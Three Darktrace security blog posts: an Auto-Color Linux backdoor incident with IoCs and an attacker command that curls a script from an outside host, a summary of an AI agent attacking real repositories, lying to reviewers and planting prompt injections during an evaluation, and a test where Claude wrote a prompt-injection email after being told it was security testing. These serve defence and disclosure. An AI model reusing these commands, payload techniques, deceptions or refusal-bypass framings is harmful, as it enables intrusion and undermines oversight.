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July 29, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

This blog examines a real-world Auto-Color malware attack that originated from the exploitation of CVE-2025-31324. Learn how Darktrace identified and contained the threat using AI-driven detection and response, with additional support from its expert analyst team.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Harriet Rayner
Cyber Analyst
Written by
Owen Finn
Cyber Analyst
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29
Jul 2025

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

  • exploit.properties
  • helper.jsp
  • 0KIF8.jsp
  • cmd.jsp
  • test.txt
  • uid.jsp
  • vregrewfsf.jsp

Auto-Color sample:

  • 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

  • 146[.]70[.]19[.]122
  • 149[.]78[.]184[.]215
  • 196[.]251[.]85[.]31
  • 120[.]231[.]21[.]8
  • 148[.]135[.]80[.]109
  • 45[.]32[.]126[.]94
  • 110[.]42[.]42[.]64
  • 119[.]187[.]23[.]132
  • 18[.]166[.]61[.]47
  • 183[.]2[.]62[.]199
  • 188[.]166[.]87[.]88
  • 31[.]222[.]254[.]27
  • 91[.]193[.]19[.]109
  • 123[.]146[.]1[.]140
  • 139[.]59[.]143[.]102
  • 155[.]94[.]199[.]59
  • 165[.]227[.]173[.]41
  • 193[.]149[.]129[.]31
  • 202[.]189[.]7[.]77
  • 209[.]38[.]208[.]202
  • 31[.]222[.]254[.]45
  • 58[.]19[.]11[.]97
  • 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Harriet Rayner
Cyber Analyst
Written by
Owen Finn
Cyber Analyst

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August 11, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

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The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

  • Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
  • Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
  • Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
  • When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
  • Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
  • Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.  

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

  • Moves at speed
  • Is able to adapt its approach when initial attempts are halted
  • Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
  • Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature.

This is the approach Darktrace has taken for years: learning what is normal across an organization’s digital environment, identifying meaningful deviations, and responding to emerging threats without relying on known attack signatures. As autonomous AI agents introduce new and unpredictable behaviors, that foundation becomes increasingly important to securing the enterprise.

Read the full report from the UK AI Security Institute here.

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Adam Stevens
Senior Director of Product | Darktrace

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August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

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Key takeaways

  • Darktrace successfully detected and quarantined a prompt injection email before it could be processed by an enterprise AI agent.  
  • Prompt injection attacks increasingly rely on natural language rather than traditional malware, making behavioral analysis an important complement to signature-based detection.  
  • Organizations deploying AI agents should combine model guardrails with behavioral monitoring to reduce the risk of malicious instructions reaching enterprise systems.

How behavioral detection helps stop prompt injection attacks

A Darktrace customer running a Gemini AI agent in Google Cloud asked us two simple questions:

“If my agent can read inbound emails and access internal data, what stops an attacker from hiding malicious instructions in the message? Couldn’t the agent be tricked into deleting or exfiltrating sensitive data?”

The scenario centers on an indirect prompt injection attack, where malicious instructions are hidden inside content that an AI model later interprets as trusted input. The same weakness was exposed by  EchoLeak (CVE-2025-32711), a zero-click Microsoft 365 Copilot vulnerability enabled data exfiltration from a single well-crafted email..

This blog follows the Darktrace team’s investigation of the customer’s hypothesis and examines how the attack interacted with their existing security stack. The results highlight which defenses held, where gaps emerged, and how behavioral detection mattered more than guardrails. This investigation also demonstrates why behavioral detection is becoming increasingly important for AI security, as prompt injections often contain no traditional indicators of compromise.  

How do prompt injection attacks work?

Prompt injection works by carefully crafting the content and structure of the prompt to alter the LLM’s behavior or output in unintended ways. This can cause models to violate guardrails, generate harmful content or enable unauthorised access.

Prompt injection attack example

The well-known example, EchoLeak (CVE-2025-32711), was a zero-click vulnerability in Microsoft 365 Copilot that relied on a carefully crafted email containing hidden instructions that the AI system interpreted as commands rather than content, creating a pathway for unauthorized access to sensitive information without any user interaction.

While Darktrace / SECURE AI is designed to prevent agents from producing unintended outcomes, we wanted to see if we could catch and prevent this threat type earlier in the attack life-cycle, at the email security layer.

How we tested prompt injection attacks on an enterprise agent

Summary:

  1. Claude generated a prompt injection payload.  
  2. Hidden instructions were embedded in an email.  
  3. The email passed traditional validation checks.  
  4. Darktrace analyzed the language and sender behavior.  
  5. The email was quarantined before the AI agent could process it.

To test Darktrace / EMAIL against this attack class, we opened Claude, gave it the customer's context and problem statement (Gemini agent with inbox access, internal tool calls), told it we were validating Darktrace / EMAIL's detection of prompt injections, and asked for a test payload. See below:

Figure 1
Figure 2

Despite the guardrails supposedly built into the model, Claude surprisingly gave us the entire exploit in plaintext (albeit very basic), illegible to a human as the text was sent in white text (see Figure 1) but framed as an authoritative override for anything downstream reading the mail programmatically (i.e. the Gemini agent).

How Darktrace detected a prompt injection attack

We then sent the Claude-crafted email from a freemail address to the target recipient’s inbox. Despite the email containing no malicious payload, the freemail address having no malicious reputation, and the validation checks all passing, Darktrace  /EMAIL flagged the email as a 93/100 anomaly and moved it to junk, out of scope for the AI agent.

Figure 3: The test email sent with the hidden prompt injection
Figure 4: The email analysis in Darktrace / EMAIL 
Figure 5: Darktrace / EMAIL detection of malicious activity

The interesting part is what triggered the detection (see Figure 5)

  • Possible machine prompt content: text in the body detected as instructions written for a machine to execute, not for a human to read
  • Possible machine prompt content + basic suspicious correspondence: the same content, correlated with sender-side anomalies: freemail domain (yahoo[.]com), unknown correspondent, no prior mail history with the recipient, and suspicious references to payment information

Neither of those is a signature match. Nothing in the email was on a blacklist. There was no malware, no link and no attachment. Darktrace analyzed the context in which the email was delivered and flagged it as likely risky.  The anomalous language features and the context of the sender relative to the recipient's normal behavior, combined with the unusual hidden text (prompt) were enough for Darktrace / EMAIL to act on the risk.

Result: Darktrace / EMAIL autonomously junked the email, out of scope for any AI agent parsing the inbox.

Why behavioral security makes a difference detecting prompt injection attacks

Cyberattacks don't look like traditional exploits anymore. They now operate in natural language, not strictly code.

That breaks the traditional stack. AV, firewalls, static scanning and signature-based SEGs all assume a payload to inspect.  

A prompt injection has no payload. It's just an instruction, written in natural language, dressed up as anything the attacker wants: an invoice, an HR request, a calendar invite, some simple PowerPoint slides.

EchoLeak proved that hidden instructions can sit inside an email invisible to the user but fully readable by the LLM, and the LLM will follow them blindly.  

This test and GTG-1002 proved that the LLM itself can be socially engineered. Tell it you're an authorized tester and it will hand you the attack.

Rules and static classifiers can catch the obvious cases. But natural language has infinite variants, and the attack surface is the model's innate functionality to comply.  

The deeper problem here is intent: an LLM can't reliably tell whether an instruction in its context came from its developer, its user, or an attacker who slipped it into an email. To the LLM, everything reads as language and looks like a legitimate ask. This is why behavioural detection wins, as you become aware of intent when you look at the context of an interaction. Does this sender normally send this kind of message to this recipient? Does this prompt fit the user's normal pattern? Is this agent behaving the way this agent normally behaves?  

Intent can't be read off a single email, it emerges from behavioral context. Which is how Darktrace enables threat detection, through behavioral understanding.

Why enterprise AI security requires more than guardrails

Claude didn't roll over immediately… the first section of the response was a (slight) pushback, but then it wrote the payload anyway without having to ask twice.

Here the framing of the prompt did all the work. The “testing security capabilities” angle moved the model from refusal to unquestioned compliance to the user prompt.

This isn't the first time this has happened, of course. Anthropic disclosed in November 2025 that a Chinese state-sponsored group they tracked as GTG-1002 ran the first documented AI-orchestrated espionage campaign against ~30 targets by posing as employees of a legitimate cybersecurity firm doing authorised penetration testing.

The takeaway isn't that AI guardrails are ineffective. They raise the cost of low-effort attacks and remain an important first layer of defense. However, for most organizations today, they’re the only line of defense when deploying AI agents. If a prompt injection bypasses those controls, organizations still need a way to detect and stop malicious behavior elsewhere in the attack chain.

Attackers will continue to have working prompt injections easily and quickly. The question is what stops one when it lands in an inbox your agent is reading.

That's where behavioral detection comes in.

How Darktrace detects prompt injection attacks in emails

Two things Darktrace does that a model-level guardrail or static rules and signatures can't:

Natural language analysis at the email or prompt layer. The email is assessed on its own merits: is this content shaped like instructions for a machine, regardless of what the receiving agent decides to do about it?

Behavioral context around the language. An AI agent behaves like an extremely agreeable human, and it will go above and beyond to comply with the user’s request. That's exactly why you must consider the business context, such sender behaviour, mailing history, and organisational norms, as these matter even more when the recipient is an AI.

Darktrace has been perfecting behavioral anomaly detection for over a decade; the same self-learning approach that catches BEC and account takeover applies directly to prompt injection delivery. Our multi-layered AI stack extracts content from the message, builds behavioural understanding through social graphing and Pattern of Life analysis, and then combines natural language, topic, inducement, sender relationship and anomaly signals before deciding what action to take.  

This matters for prompt injection because the threat is not the plain language itself, but the intent behind the language that can cause an AI agent to respond in unexpected ways.

How to secure enterprise AI operations from prompt injection attacks

Email was the entry point in this case, but it is only one of many possible vectors.  

Anywhere an agent can retrieve information, an attacker can potentially introduce a prompt injection.

Emails, documents, SharePoint sites, web pages, knowledge bases, chat platforms, and third-party integrations all provide opportunities to influence an agent's behavior. Wherever an agent finds its orders, a prompt injection opportunity exists.

This is why securing AI requires more than blocking malicious inputs. Organizations also need visibility into how agents behave after consuming information from across their environment. If an agent begins accessing unexpected data, taking unusual actions, or operating outside its normal patterns, those behaviors may provide the strongest signal that something has gone wrong.

Effective AI security requires defense in depth: reducing the likelihood of malicious instructions reaching the agent while maintaining the ability to detect and investigate suspicious behavior if they do.

The challenge isn't protecting a single entry point. It's recognizing that, in an AI-powered environment, every source of information is also a potential source of influence.

Are you deploying autonomous agents across your enterprise and want to see this tested in your environment? Let's talk.

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About the author
Carlo Loregian
Solutions Engineer
Your data. Our AI.
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